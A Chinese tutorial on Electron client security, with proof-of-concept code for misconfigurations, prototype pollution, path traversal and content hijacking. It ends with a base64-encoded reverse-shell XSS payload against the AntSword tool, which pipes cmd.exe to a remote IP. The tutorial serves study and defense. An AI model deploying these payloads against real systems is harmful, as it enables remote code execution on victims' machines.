Electron客户端安全入门【上】

admin 2025年5月15日17:55:04评论1 views字数 12946阅读43分9秒阅读模式

关注并星标🌟 一起学安全❤️

作者:coleak  

首发于公号:渗透测试安全攻防 

字数:9509

声明:仅供学习参考,请勿用作违法用途

目录

  • 前记
  • 内容总结
    • nodeIntegration
    • contextIsolation
    • Preload
    • sandbox
    • nodeIntegrationInSubFrames
    • nodeIntegrationInWorker
    • webSecurity
    • allowRunningInsecureContent
    • Fuse
    • ASAR
  • 风险点
    • JS原型链污染
    • 不安全的实现
    • 内容劫持
    • 本地文件读取
  • AntSword分析
  • reference

前记

大量内容来源于NOP Team,感谢NOP Team提供的相关实验数据

内容总结

nodeIntegration

在上下文隔离、沙箱均关闭的情况下,nodeIntegration影响渲染页面是否可以直接执行preload权限的NodeJS,同时nodeIntegration会影响sandbox的有效性导致preload执行任意nodejs(显示设置sandbox可以强制使nodeIntegration生效)

Electron客户端安全入门【上】

注:从 Electron 6.0.0 开始 sandbox: true 时, Preload 脚本的 NodeJS 环境为受限环境

在此之前即使设置了 sandbox: true预加载脚本还是可以加载并使用require('child_process') 这种模块

经过测试 iframe + window.open 的问题在 Electron 14.0.0 中被修复

contextIsolation

开启上下文隔离后,Preload 脚本将方法或变量暴露给渲染进程需要通过 contextBridge,预加载脚本访问的 window 对象并不是网页所能直接访问的对象

contextIsolation 默认被设置为 false 是从 Electron 12.0.0 开始的

在 Electron 中,contextIsolation 为 true 时,可以有效隔离主进程、Preload、渲染进程、iframe 及iframe+window.open 的语境,保证 JavaScript 内容不被篡改

contextIsolation 为 false 时,渲染进程和Preload 脚本共享一个 window 对象,即渲染进程可以访问并修改Preload 中 window.xxx 以及 JavaScript 内置对象的内容

在 Electron 14.0.0 前 iframe + window.open 可以访问达到和渲染进程一样的效果

Preload

在 sandbox 没有被设置为 true 时(Electron 20.0 版本开始默认值为 true) ,预加载脚本是拥有完整Node.js 环境的(require('child_process').exec('calc')

可用的 API
详细信息
Electron 模块
渲染进程模块
Node.js 模块
events、timers、url
Polyfilled 的全局模块
Buffer, process, clearImmediate, setImmediate

sandbox

在 Electron 20.0 版本后,虽然默认对渲染器进行沙盒化,但这并不等于从 20.0 版本开始默认 sandbox: true,即 Electron 20.0 ≠ sandbox:true,因为当nodeIntegration 、nodeIntegrationInSubFramesnodeIntegrationInWorker 被设置为 true 时,sandbox 对于 Node.js 的保护效果会失效,显式设置 sandbox: true后sandbox再次生效

nodeIntegrationInSubFrames

SubFrames 是指 iframe 和子窗口,nodeIntegrationInSubFrames在 SubFrames 中开启  Node.js,``Preload会被注入到每一个iframe`

nodeIntegrationInSubFrames 这个配置项的含义随着其他配置项而呈现不同效果,目前来看,影响的对象主要是 iframeobject、`embed

  • 如果 nodeIntegrationInSubFrames 设置为 true 时, preload 脚本中暴露的方法和值等将向 iframeobjectembed内暴露,也就是说iframeobjectembed 内部的内容中的 JavaScript 可以直接使用 Preload 脚本中定义好的功能和值

  • 如果嵌入 iframeobjectembed 的宿主页面的安全配置为

    • sandbox: false
    • nodeIntegration: true
    • contextIsolation: false
    • nodeIntegrationInSubFrames: true

其中 sandbox 为 false 或默认即可,此时页面中嵌入的 iframeobjectembed 的内容可执行 Node.js

//index..html<iframe src="http://127.0.0.1/1.html"></iframe>//1.html<script src="iframe_1.js"></script>//iframe_1.jsrequire('child_process').exec('calc');

nodeIntegrationInWorker

从 Electron 的官方描述来看,nodeIntegrationInWorker 目前只支持专用 Worker ,而且必须将 sandbox 设置为 false 才有效。nodeIntegration 处于默认的 false,这两个选项之间没有关系

如果开启 sandboxWorker 不再具备 Node.js 能力

只有当 sandbox 被显式地设置为 true 时,才会阻止 Worker 获得 Node.js 的能力,当然前提是 nodeIntegrationInWorker 被设置为 true

//main.jswebPreferences: {nodeIntegrationInWorkertrue,sandboxfalse,//不加上这行也可以preload: path.join(__dirname, 'preload.js')//renderer.js// 创建 Worker,传入 Worker 脚本文件的路径const myWorker = new Worker('worker.js');// 主线程向 Worker 发送消息myWorker.postMessage("message from main -> worker");// 监听 Worker 返回的结果myWorker.addEventListener('message'function(e{const result = e.data;console.log('Received result from Worker:', result);// 根据结果进行后续操作}, false);// worker.jsself.addEventListener('message'function(e{const data = e.data;// 处理收到的数据并进行计算或处理console.log(data)const result = "OK!!!"// 将结果发送回主线程    self.postMessage(result);  }, false);require('child_process').exec('calc')

webSecurity

webSecurity的意义是开启同源策略,是 Electron 的默认值,即默认即开启同源策略

  • 在本地加载 index.html 的时候,在本地资源中加载外部 JavaScript 是不受 webSecurity 影响的
  • 当通过 loadURL 加载远程页面创建窗口时,webSecurity 选项有效,默认配置为 true,值为 true 时,同源策略有效;当值为 false 时,在 Electron 9.0.0 ~ 10.1.2 版本中,关闭同源策略失败,同源策略仍然有效,这是一个 bug ,除上述版本以外均会关闭同源策略,允许跨域加载 JavaScript
  • 需要注意的是,加载资源这个事还会受 CSP(内容安全策略) 的影响
//main.jsmainWindow.loadURL('http://10.133.7.97:88/index.html')//受到webSecurity影响mainWindow.loadFile('index.html')//不受webSecurity影响//index.html <img src="x" onerror="import(unescape('http://10.133.7.97:99/payload.js'))" />

allowRunningInsecureContent

allowRunningInsecureContent的意义是:是/否允许在 HTTPS 的网站加载或执行HTTP 协议的 JavaScriptCSS、插件等

  • 从 Electron 2.0.0 开始默认为 false,即不允许在 HTTPS 网站中加载或执行 HTTP协议的内容
  • 当 webSecurity 被设置为 false 时,会自动将 allowRunningInsecureContent 设置为 true
  • allowRunningInsecureContent 仅在通过 loadURL 等远程加载网站创建窗口的时候有意义,对于通过 loadFile 加载本地文件的场景是没有作用的,同时 Electron 也没有变态到默认所有的远程加载内容(包括页面内 img 等元素的 src 属性指定的内容)必须都是 HTTPS

Fuse

  • runAsNode:当做普通Node.js进程启动。将 cli 选项 传递给Node.js,如果禁用此保险丝,则主进程中的 process.fork 将无法按预期运行
  • nodeCliInspectnodeCliInspect 这个 fuse 的效果设置在 MacOS 和 Deepin Linux 上表现一致,即当 runAsNode 或 nodeCliInspect 其中一个被设置为 Enabled ,就可以进行远程调试。而在 Windows 11 上则只有当 nodeCliInspect 被设置为 Enabled 时才可以进行远程调试,与 runAsNode 无关
  • nodeOptions:在 runAsNode 被设置为 Enabled 时有效,NODE_OPTIONS 环境变量可用于将各种自定义选项传递给 Node.js 运行时
  • grantFileProtocolExtraPrivileges:默认开启,使得file:// 协议比 web 浏览器中的 file:// 协议具备更强大的功能
npx @electron/fuses read --app electron.exeset ELECTRON_RUN_AS_NODE=1electron.exe -e "require('child_process').exec('calc')"set NODE_OPTIONS="--require ./calc.js"npx @electron/fuses write --app electron.exe RunAsNode=off/on

ASAR

npm install -g asarasar pack <dir> <dir.asar>asar extract <dir.asar> <dir>asar list app.asar
const fs = require('node:fs');const path = require('node:path');// 加载渲染进程的 HTML 文件const p=("file:///"+__dirname+"/app.asar/index.html")require(path.join(__dirname, 'app.asar''a.js'))await mainWindow.loadURL(p);const b=fs.readdirSync(path.join(__dirname, 'app.asar'))const a = fs.readFileSync(path.join(__dirname, 'app.asar''cc.txt'), 'utf-8');

默认情况下,Electron 开发的程序检索 asar 文件的顺序是

  • app.asar
  • app
  • default_app.asar

当开启 onlyLoadAppFromAsar 时,就只使用 app.asar

风险点

JS原型链污染

  • 每个构造函数都有一个 prototype 原型对象
  • 每个实例对象都有一个 __proto__ 属性,并且指向它的构造函数的原型对象 prototype
  • 对象里的 constructor 属性指向其构造函数本身

继承

const o = {a1,b2,// __proto__ 设置了 [[Prototype]]__proto__: {b3,c4,    },  };console.log(o.a); // 1console.log(o.b); // 2console.log(o.c); // 4console.log(o.d); // undefined

从自身开始寻找,然后一层一层向上递归寻找,直到找到或是递归到null为止,此机制被称为JavaScript继承链

更长的原型链

functionBase({}functionDerived({}// 将 `Derived.prototype` 的 `[[Prototype]]`// 设置为 `Base.prototype`Object.setPrototypeOf(Derived.prototype, Base.prototype);const obj = new Derived();// obj ---> Derived.prototype ---> Base.prototype ---> Object.prototype ---> nullclassBase{}classDerivedextendsBase{}const obj = new Derived();// obj ---> Derived.prototype ---> Base.prototype ---> Object.prototype ---> nullconst obj = { a1 };const anotherObj = { b2 };Object.setPrototypeOf(obj, anotherObj);// obj ---> anotherObj ---> Object.prototype ---> null

简单的例子

object1 = {"a":1"b":2};object1.__proto__.foo = "Hello World";console.log(object1.foo);object2 = {"c":1"d":2};console.log(object2.foo);//"Hello World"functionmerge(target, source{for (let key in source) {if (key in source && key in target) {            merge(target[key], source[key])        } else {            target[key] = source[key]        }    }}let object1 = {}let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')merge(object1, object2)console.log(object1.a, object1.b)//1,2object3 = {}console.log(object3.b)//2

在获取 object2.foo 时,由于 object2 本身不存在 foo 属性,就会往父类 Object.prototype 中去寻找。这就造成了一个原型链污染

在preload.js中判断

window.getResult = (user_input) => {if (keys.indexOf(user_input) !== -1) {return ipcRenderer.invoke('invisible')  } else {return ipcRenderer.invoke('normal')  }}

关闭了 contextIsolation 后,这意味着渲染进程和预加载脚本共用一个上下文,即 window。既然上下文没有隔离,那我们就可以修改这个全局作用域中的JavaScript 内置对象 Array.prototype 来进行原型链污染

Array.prototype.indexOf = () => {return1}

还可以配合重写 require

//preload.jswindow.diyRequire = (module_name) => {const forbidden_module = ["child_process""shell"]if (forbidden_module.indexOf(module_name) !== -1) {console.log('not allow')  } else {returnrequire(module_name)  }}//renderer.jsArray.prototype.indexOf = () => {return-1}window.diyRequire('child_process').exec('calc')

不安全的实现

未校验输入

//preload.jsconst { contextBridge, ipcRenderer } = require('electron');contextBridge.exposeInMainWorld('myApi', {readFileasync (fileName) => {try {const data = await ipcRenderer.invoke('readFile'`docs/${fileName}`);return data;    } catch (error) {console.error('Error invoking "readFile":', error);returnnull;    }  },});//main.jsipcMain.handle('readFile'async (event, filePath) => {try {      filePath = path.join(__dirname, filePath)const data = await fs.promises.readFile(filePath, 'utf-8');return data;    } catch (err) {console.error('Error reading file:', err);returnnull;    }  });//renderer.jsreadFileButton.addEventListener('click'async () => {const fileName = fileNameInput.value;const data = awaitwindow.myApi.readFile(fileName)    fileContent.textContent = data || 'No content available.'});

预加载脚本没有做安全检查,将文件名称直接拼接传递给主进程,通过..目录穿越导致任意文件读取漏洞

过度暴露

const { contextBridge, ipcRenderer } = require('electron');// 错误地直接通过 contextBridge 将整个 ipcRenderer 对象暴露给渲染进程contextBridge.exposeInMainWorld('electronApi', {invoke: ipcRenderer.invoke,});

这样renderer.js可以通过invoke拿到preload的所有权限

shell.openExternal

ipcMain.handle('open-url', (event, url) => {// 使用shell.openExternal打开网址    shell.openExternal(url);  });const { contextBridge, ipcRenderer } = require('electron')contextBridge.exposeInMainWorld('myAPI', {open_url(url) => {//  console.log(url)     ipcRenderer.invoke('open-url', url)   }})<script>document.getElementById('openButton').addEventListener('click'function({const url = document.getElementById('urlInput').value;if (url) {// console.log(url)// 发送网址到主进程window.myAPI.open_url(url);      } else {        alert('Please enter a valid URL');      }    });  </script>

url 如果用户可控并且没有做有效验证,攻击者可以发起其他协议的请求导致远程代码执行

C:WindowsSystem32calc.exe,\192.168.31.83publictest.exe,file:// 和 smb://

内容劫持

对于mainWindow.loadURL加载的HTTP页面,可以通过修改C:WindowsSystem32driversetchosts或者是linux下的/etc/hosts完成劫持

main.js

 webPreferences: {nodeIntegrationtrue,contextIsolationfalse,sandboxfalse,preload: path.join(__dirname, 'preload.js')    }  })  mainWindow.loadURL('http://mirror.datamossa.io')

wget http://mirror.datamossa.io/ -O index.html,在body中加<script>require('child_process').exec('calc')</script>,开启服务器python -m http.server 80,修改hosts文件添加127.0.0.1  mirror.datamossa.io

对于HTTPS,还是要面临以下问题:

  • 证书泄漏
  • 被加载内容本身存在 XSS
  • cdn 被攻击
  • 静态资源缓存

本地文件读取

iframe、object标签或fetch

<iframesrc="file:///c:/a.txt"></iframe><objectdata="file:///c:/a.txt"type=""></object>

自定义协议

// main.js(主进程)const { app, protocol, BrowserWindow, session } = require('electron');const path = require('path');const url = require('url');app.whenReady().then(async () => {// 创建自定义 session,使用 'persist:myapp' 确保持久化存储const customSession = session.fromPartition('persist:myapp');// 使用 protocol.handle 注册协议处理程序,绑定到自定义 session  customSession.protocol.handle('myapp'async (request) => {try {const filePath = url.fileURLToPath('file://' + __dirname + '/' + request.url.slice('myapp://'.length));returnnew Response(awaitrequire('fs/promises').readFile(filePath), {status200,headers: { 'content-type': getMimeType(filePath) }      });    } catch (error) {console.error('协议处理错误:', error);returnnew Response('文件未找到', { status404 });    }  });// 创建主窗口,并绑定自定义 sessionconst mainWindow = new BrowserWindow({width800,height600,webPreferences: {nodeIntegrationtrue,contextIsolationfalse,partition'persist:myapp',//session: customSession // 绑定 session    },  });// 加载渲染进程的 HTML 文件await mainWindow.loadFile('index.html');});// 辅助函数:根据文件扩展名获取 MIME 类型functiongetMimeType(filePath{const ext = path.extname(filePath).toLowerCase();const mimeTypes = {'.png''image/png','.jpg''image/jpeg','.html''text/html','.css''text/css','.js''application/javascript',  };return mimeTypes[ext] || 'application/octet-stream';}// 设置为默认协议客户端app.setAsDefaultProtocolClient('myapp');//index.html<imgsrc="myapp://0.png"alt="Logo"style="max-width: 300px;"><iframesrc="myapp://style.css"></iframe>

AntSword分析

上古版本的漏洞了,调试一下

AntSword.exe --remote-debugging-port=9222process.version'v6.1.0'默认的安全配置如下nodeIntegration: falsecontextIsolation: falsesandbox: false

但是根据process信息看到nodeIntegration=true

Electron客户端安全入门【上】

根据调用堆栈获取到触发流程如下:双击列表触发_onRowDblClicked,接着调用new FileManager(info),其中this.core.request(this.core.base.info())触发err被捕获执行toastr.error((typeof(err) === 'object') ? JSON.stringify(err) : String(err), LANG_T['error']);此刻statusMessage中有<img src=# onerror=alert(1)>,在error中调用notify,notify代码如下,最后通过页面toast-container下的toast-message将alert(1)弹出

if (map.message) {            $messageElement.append(map.message).addClass(options.messageClass);            $toastElement.append($messageElement);        }$container.prepend($toastElement);
Electron客户端安全入门【上】

反制代码如下

nc -lvp 1971<?php header("HTTP/1.1 500 <img src=1 onerror='eval(new Buffer(`dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpOwp2YXIgY21kID0gcmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLmV4ZWMoImNtZC5leGUiKTsKdmFyIHNvY2tldCA9IG5ldyBuZXQuU29ja2V0KCk7CnNvY2tldC5jb25uZWN0KDE5NzEsICIxMjcuMC4wLjEiLCBmdW5jdGlvbigpewogICAgc29ja2V0LnBpcGUoY21kLnN0ZGluKTsKICAgIGNtZC5zdGRvdXQucGlwZShzb2NrZXQpOwogICAgY21kLnN0ZGVyci5waXBlKHNvY2tldCk7Cn0pOw==`,`base64`).toString())' />"?>var net = require("net");var cmd = require("child_process").exec("cmd.exe");var socket = new net.Socket();socket.connect(1971"192.168.31.222"function(){    socket.pipe(cmd.stdin);    cmd.stdout.pipe(socket);    cmd.stderr.pipe(socket);});

官方更新修复如下,通过replace将string中的标签编码

Electron客户端安全入门【上】

reference

https://mp.weixin.qq.com/mp/appmsgalbum?__biz=MzU1NDkwMzAyMg==&action=getalbum&album_id=3457633780112556033&scene=173&subscene=&sessionid=svr_a959630e925&enterid=1743765102&from_msgid=2247500135&from_itemidx=1&count=3&nolastread=1#wechat_redirecthttps://xz.aliyun.com/news/6594?time__1311=YqIxgDniiQDQYGXKCxUr%3DD9WLG8RdDB7ioD&u_atoken=65403954a52fb397962b2a070742820d&u_asig=0a47309317432677580823411e0136https://github.com/AntSwordProject/antSword/issues/147

原文始发于微信公众号(渗透测试安全攻防):Electron客户端安全入门【上】

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月15日17:55:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Electron客户端安全入门【上】https://cn-sec.com/archives/4048882.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息